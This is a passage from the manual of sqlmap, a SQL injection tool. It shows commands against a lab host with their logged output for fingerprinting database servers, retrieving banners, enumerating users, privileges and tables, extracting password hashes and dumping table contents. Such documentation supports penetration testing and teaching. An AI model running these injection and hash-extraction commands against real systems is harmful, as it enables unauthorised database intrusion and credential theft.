[hh:mm:56] [INFO] performed 10 queries in 0 seconds
available databases [4]:
[*] information_schema
[*] mysql
[*] privatedb
[*] test
As you can see, sqlmap identified that the parameter is affected by a
partial inband SQL injection, consequently counted the number of query
output entries and retrieved once per time by forcing the parameter
(id) value 1 to its negative value -1 so that
it does not returns, presumibly, any output leaving our own UNION ALL
SELECT statement to produce one entry at a time and display it in the
page content.
Options: -f or --fingerprint
By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing this value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected.
After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with their specific syntax within the limits of the database architecture.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
[...]
[hh:mm:14] [INFO] testing MySQL
[hh:mm:14] [INFO] query: CONCAT(CHAR(51), CHAR(51))
[hh:mm:14] [INFO] retrieved: 33
[hh:mm:14] [INFO] performed 20 queries in 0 seconds
[hh:mm:14] [INFO] confirming MySQL
[hh:mm:14] [INFO] query: LENGTH(CHAR(51))
[hh:mm:14] [INFO] retrieved: 1
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:14] [INFO] retrieved: 3
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers.
If you want to perform an extensive database management system fingerprint
based on various techniques like specific SQL dialects and inband error
messages, you can provide the --fingerprint option.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f
[...]
[hh:mm:14] [INFO] testing MySQL
[hh:mm:14] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:14] [INFO] retrieved: 44
[hh:mm:14] [INFO] performed 20 queries in 0 seconds
[hh:mm:14] [INFO] confirming MySQL
[hh:mm:14] [INFO] query: LENGTH(CHAR(52))
[hh:mm:14] [INFO] retrieved: 1
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:14] [INFO] retrieved: 4
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT 4 FROM information_schema.PARAMETERS LIMIT 0, 1
[hh:mm:14] [INFO] retrieved:
[hh:mm:14] [INFO] performed 6 queries in 0 seconds
[hh:mm:14] [INFO] query: MID(@@plugin_dir, 1, 1)
[hh:mm:14] [INFO] retrieved:
[hh:mm:14] [INFO] performed 6 queries in 0 seconds
[hh:mm:14] [INFO] query: MID(@@hostname, 1, 1)
[hh:mm:14] [INFO] retrieved: n
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.67
html error message fingerprint: MySQL
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1 -f
[...]
[hh:mm:26] [WARNING] the back-end DMBS is not MySQL
[hh:mm:26] [INFO] testing Oracle
[hh:mm:26] [INFO] query: LENGTH(SYSDATE)
[hh:mm:26] [INFO] retrieved: 9
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
[hh:mm:26] [INFO] confirming Oracle
[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
[hh:mm:26] [INFO] retrieved: 10.2.0.1.0
[hh:mm:27] [INFO] performed 76 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: Oracle 10g
html error message fingerprint: Oracle
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
[...]
[hh:mm:48] [WARNING] the back-end DMBS is not Oracle
[hh:mm:48] [INFO] testing PostgreSQL
[hh:mm:48] [INFO] query: COALESCE(6, NULL)
[hh:mm:48] [INFO] retrieved: 6
[hh:mm:48] [INFO] performed 13 queries in 0 seconds
[hh:mm:48] [INFO] confirming PostgreSQL
[hh:mm:48] [INFO] query: LENGTH(CHR(54))
[hh:mm:48] [INFO] retrieved: 1
[hh:mm:48] [INFO] performed 13 queries in 0 seconds
[hh:mm:48] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)
[hh:mm:48] [INFO] retrieved: 2
[hh:mm:48] [INFO] performed 13 queries in 0 seconds
[hh:mm:48] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
[hh:mm:48] [INFO] retrieved:
[hh:mm:48] [INFO] performed 6 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
html error message fingerprint: PostgreSQL
As you can see from this last example, sqlmap first tested for MySQL,
then for Oracle, then for PostgreSQL since the user did not forced the
back-end database management system name with option --dbms.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
[hh:mm:41] [INFO] retrieved: 0
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
html error message fingerprint: Microsoft SQL Server
If you want an even more accurate result, based also on banner parsing,
you can also provide the -b or --banner option.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f -b
[...]
[hh:mm:24] [INFO] testing MySQL
[hh:mm:24] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:24] [INFO] retrieved: 44
[hh:mm:24] [INFO] performed 20 queries in 0 seconds
[hh:mm:24] [INFO] confirming MySQL
[hh:mm:24] [INFO] query: LENGTH(CHAR(52))
[hh:mm:24] [INFO] retrieved: 1
[hh:mm:24] [INFO] performed 13 queries in 0 seconds
[hh:mm:24] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:24] [INFO] retrieved: 4
[hh:mm:24] [INFO] performed 13 queries in 0 seconds
[hh:mm:24] [INFO] query: VERSION()
[hh:mm:24] [INFO] retrieved: 5.0.67-0ubuntu6
[hh:mm:25] [INFO] performed 111 queries in 0 seconds
[hh:mm:25] [INFO] query: SELECT 4 FROM information_schema.PARAMETERS LIMIT 0, 1
[hh:mm:25] [INFO] retrieved:
[hh:mm:25] [INFO] performed 6 queries in 0 seconds
[hh:mm:25] [INFO] query: MID(@@plugin_dir, 1, 1)
[hh:mm:25] [INFO] retrieved:
[hh:mm:25] [INFO] performed 6 queries in 0 seconds
[hh:mm:25] [INFO] query: MID(@@hostname, 1, 1)
[hh:mm:25] [INFO] retrieved: n
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
[hh:mm:25] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.67
banner parsing fingerprint: MySQL 5.0.67
html error message fingerprint: MySQL
[...]
As you can see, sqlmap was able to fingerprint also the back-end DBMS operating system by parsing the DBMS banner value.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f -b
[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
[hh:mm:03] [INFO] retrieved: 1
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
[hh:mm:03] [INFO] retrieved: 0
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Windows 2000 Service Pack 4
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
version 8.00.194
html error message fingerprint: Microsoft SQL Server
[...]
As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.
Option: -b or --banner
Most of the modern database management systems have a function or an
environment variable which returns details on the database managemet
system version. Sometimes also the operating system where the daemon has
been compiled on, the operating system architecture, its service pack.
Usually this function is version() or the @@version
environment variable.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -b -v 0
banner: '5.0.67-0ubuntu6'
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 0
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b -v 0
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -b -v 0
banner:
---
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
Option: --current-user
It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application.
Example on a MySQL 5.0.67 target:
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --current-user -v 0
current user: 'testuser@localhost'
Option: --current-db
It is possible to retrieve the database management system's database the web application is connected to.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
current database: 'master'
Option: --users
It is possible to enumerate the list of database management system users.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
database management system users [3]:
[*] postgres
[*] testuser
[*] testuser2
Options: --passwords and -U
It is possible to enumerate the password hashes for each database management system user.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
[*] debian-sys-maint [1]:
password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
[*] root [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] testuser [1]:
password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
You can also provide the -U option to specify the user who you
want to enumerate the password hashes.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords \
-U sa -v 0
database management system users password hashes:
[*] sa [1]:
password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
ba9930b62ee5d506955
header: 0x0100
salt: 0e16d704
mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.
If you provide CU as username it will consider it as an alias for
current user and will retrieve the password hashes for this user.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
-U CU -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:48] [INFO] fetching current user
[hh:mm:48] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32))
[hh:mm:48] [INFO] retrieved: postgres
[hh:mm:49] [INFO] performed 62 queries in 0 seconds
[hh:mm:49] [INFO] fetching database users password hashes for current user
[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
[hh:mm:49] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(passwd)) AS CHARACTER(10000)),
CHR(32)) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
CHR(114)||CHR(101)||CHR(115)
[hh:mm:49] [INFO] retrieved: 1
[hh:mm:49] [INFO] performed 13 queries in 0 seconds
[hh:mm:49] [INFO] fetching password hashes for user 'postgres'
[hh:mm:49] [INFO] query: SELECT DISTINCT(COALESCE(CAST(passwd AS CHARACTER(10000)),
CHR(32))) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
[hh:mm:51] [INFO] performed 251 queries in 2 seconds
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
Options: --privileges and -U
It is possible to enumerate the privileges for each database management system user.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
database management system users privileges:
[*] CTXSYS [2]:
privilege: CTXAPP
privilege: RESOURCE
[*] DBSNMP [1]:
privilege: OEM_MONITOR
[*] FLOWS_020100 (administrator) [4]:
privilege: CONNECT
privilege: DBA
privilege: RESOURCE
privilege: SELECT_CATALOG_ROLE
[*] FLOWS_FILES [2]:
privilege: CONNECT
privilege: RESOURCE
[*] HR (administrator) [3]:
privilege: CONNECT
privilege: DBA
privilege: RESOURCE
[*] MDSYS [2]:
privilege: CONNECT
privilege: RESOURCE
[*] OUTLN [1]:
privilege: RESOURCE
[*] SYS (administrator) [22]:
privilege: AQ_ADMINISTRATOR_ROLE
privilege: AQ_USER_ROLE
privilege: AUTHENTICATEDUSER
privilege: CONNECT
privilege: CTXAPP
privilege: DBA
privilege: DELETE_CATALOG_ROLE
privilege: EXECUTE_CATALOG_ROLE
privilege: EXP_FULL_DATABASE
privilege: GATHER_SYSTEM_STATISTICS
privilege: HS_ADMIN_ROLE
privilege: IMP_FULL_DATABASE
privilege: LOGSTDBY_ADMINISTRATOR
privilege: OEM_ADVISOR
privilege: OEM_MONITOR
privilege: PLUSTRACE
privilege: RECOVERY_CATALOG_OWNER
privilege: RESOURCE
privilege: SCHEDULER_ADMIN
privilege: SELECT_CATALOG_ROLE
privilege: XDBADMIN
privilege: XDBWEBSERVICES
[*] SYSTEM (administrator) [2]:
privilege: AQ_ADMINISTRATOR_ROLE
privilege: DBA
[*] TSMSYS [1]:
privilege: RESOURCE
[*] XDB [2]:
privilege: CTXAPP
privilege: RESOURCE
You can also provide the -U option to specify the user who you
want to enumerate the privileges.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges \
-U postgres -v 0
database management system users privileges:
[*] postgres (administrator) [3]:
privilege: catupd
privilege: createdb
privilege: super
As you can see, depending on the user privileges, sqlmap identifies if the user is a database management system administrator and show next to the username this information.
If you provide CU as username it will consider it as an alias for
current user and will enumerate the privileges for this user.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
-U CU -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:25] [INFO] fetching current user
[hh:mm:25] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32))
[hh:mm:25] [INFO] retrieved: postgres
[hh:mm:25] [INFO] performed 62 queries in 0 seconds
[hh:mm:25] [INFO] fetching database users privileges for current user
[hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(usename)) AS CHARACTER(10000)),
CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
CHR(114)||CHR(101)||CHR(115)
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
[hh:mm:25] [INFO] fetching privileges for user 'postgres'
[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecreatedb THEN 1 ELSE 0 END) AS
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usesuper THEN 1 ELSE 0 END) AS
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecatupd THEN 1 ELSE 0 END) AS
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
database management system users privileges:
[*] postgres (administrator) [3]:
privilege: catupd
privilege: createdb
privilege: super
Note that this feature is not available if the back-end database management system is Microsoft SQL Server.
Option: --dbs
It is possible to enumerate the list of databases.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
available databases [6]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
Note that this feature is not available if the back-end database management system is Oracle.
Options: --tables and -D
It is possible to enumerate the list of tables for all database manangement system's databases.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables -v 0
Database: test
[1 table]
+---------------------------------------+
| users |
+---------------------------------------+
Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLLATIONS |
| COLUMN_PRIVILEGES |
| COLUMNS |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMA_PRIVILEGES |
| SCHEMATA |
| STATISTICS |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: mysql
[17 tables]
+---------------------------------------+
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------------------+
You can also provide the -D option to specify the database
that you want to enumerate the tables.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables \
-D test -v 0
Database: test
[1 table]
+---------------------------------------+
| users |
+---------------------------------------+
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --tables \
-D users -v 0
Database: USERS
[8 tables]
+-------------------+
| DEPARTMENTS |
| EMPLOYEES |
| HTMLDB_PLAN_TABLE |
| JOB_HISTORY |
| JOBS |
| LOCATIONS |
| REGIONS |
| USERS |
+-------------------+
Note that on Oracle you have to provide the TABLESPACE_NAME
instead of the database name, in my example that is users to
retrieve all tables owned by an Oracle database management system
user.
Options: --columns, -T and -D
It is possible to enumerate the list of columns for a specific database
table.
This functionality depends on the -T to specify the table name
and optionally on -D to specify the database name.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
-T users -D test -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:25] [WARNING] missing database parameter, sqlmap is going to use the current
database to enumerate table 'users' columns
[hh:mm:25] [INFO] fetching current database
[hh:mm:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
[hh:mm:25] [INFO] retrieved: test
[hh:mm:25] [INFO] performed 34 queries in 0 seconds
[hh:mm:25] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:25] [INFO] fetching number of columns for table 'users' on database 'test'
[...]
Database: test
Table: users
[3 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| id | int(11) |
| name | varchar(40) |
| surname | varchar(60) |
+---------+-------------+
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --columns \
-T users -D master -v 0
Database: master
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | int |
| name | varchar |
| surname | varchar |
+---------+---------+
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns \
-T users -D public -v 0
Database: public
Table: users
[3 columns]
+---------+--------+
| Column | Type |
+---------+--------+
| id | int4 |
| name | bpchar |
| surname | bpchar |
+---------+--------+
Note that on PostgreSQL you have to provide public or the
name of a system database because it is not possible to enumerate other
databases tables, only the tables under the schema that the web
application's user is connected to, which is always public.
If the database name is not specified, the current database name is used.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
-T users -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current
database to enumerate table 'users' columns
[hh:mm:13] [INFO] fetching current database
[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
[hh:mm:13] [INFO] retrieved: test
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116)
[hh:mm:13] [INFO] retrieved: 3
[hh:mm:13] [INFO] performed 13 queries in 0 seconds
[...]
Database: test
Table: users
[3 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| id | int(11) |
| name | varchar(40) |
| surname | varchar(60) |
+---------+-------------+
Options: --dump, -C, -T, -D,
--start and --stop
It is possible to dump the entries for a specific database table.
This functionality depends on the -T to specify the table name
and optionally on -D to specify the database name.
If the database name is not specified, the current database name is used.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
-T users -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current
database to dump table 'users' entries
[hh:mm:13] [INFO] fetching current database
[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
[hh:mm:13] [INFO] retrieved: test
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116)
[hh:mm:13] [INFO] retrieved: 3
[hh:mm:13] [INFO] performed 13 queries in 0 seconds
[...]
Database: test
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.3 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
You can also provide the -C option to specify the table column
that you want to enumerate the entries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump \
-T users -D master -C surname -v 0
Database: master
Table: users
[5 entries]
+-------------------+
| surname |
+-------------------+
| blisset |
| bunny |
| ming |
| nameisnull |
| user agent header |
+-------------------+
sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where it stored the dumped tables entries by providing a verbosity level greater than or equal to 1.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump \
-T users -D public -v 1
[...]
Database: public
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.3 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | | nameisnull |
+----+----------------------------------------------+-------------------+
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
192.168.1.121/dump/public/users.csv'
[...]
$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"id","name","surname"
"1","luther","blissett"
"2","fluffy","bunny"
"3","wu","ming"
"4","sqlmap/0.6.3 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull"
You can also provide the --start and/or the --stop
options to limit the dump to a range of entries.
--start specifies the first entry to enumerate--stop specifies the last entry to enumerateExample on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
-T users -D test --start 2 --stop 4 -v 0
Database: test
Table: users
[3 entries]
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.3 (http://sqlmap.sourceforge.net) | user agent header |
+----+----------------------------------------------+-------------------+
As you can see, sqlmap is very flexible: you can leave it automatically enumerate the whole database table up to a single column of a specific table entry.
Options: --dump-all and --exclude-sysdbs
It is possible to dump all databases tables entries at once.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
Database: test
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/0.6.3 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
Database: information_schema
Table: CHARACTER_SETS
[36 entries]
+--------------------+----------------------+-----------------------------+--------+
| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN |
+--------------------+----------------------+-----------------------------+--------+
| tis620 | tis620_thai_ci | TIS620 Thai | 1 |
| macroman | macroman_general_ci | Mac West European | 1 |
| dec8 | dec8_swedish_ci | DEC West European | 1 |
| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 |
| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 |
| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 |
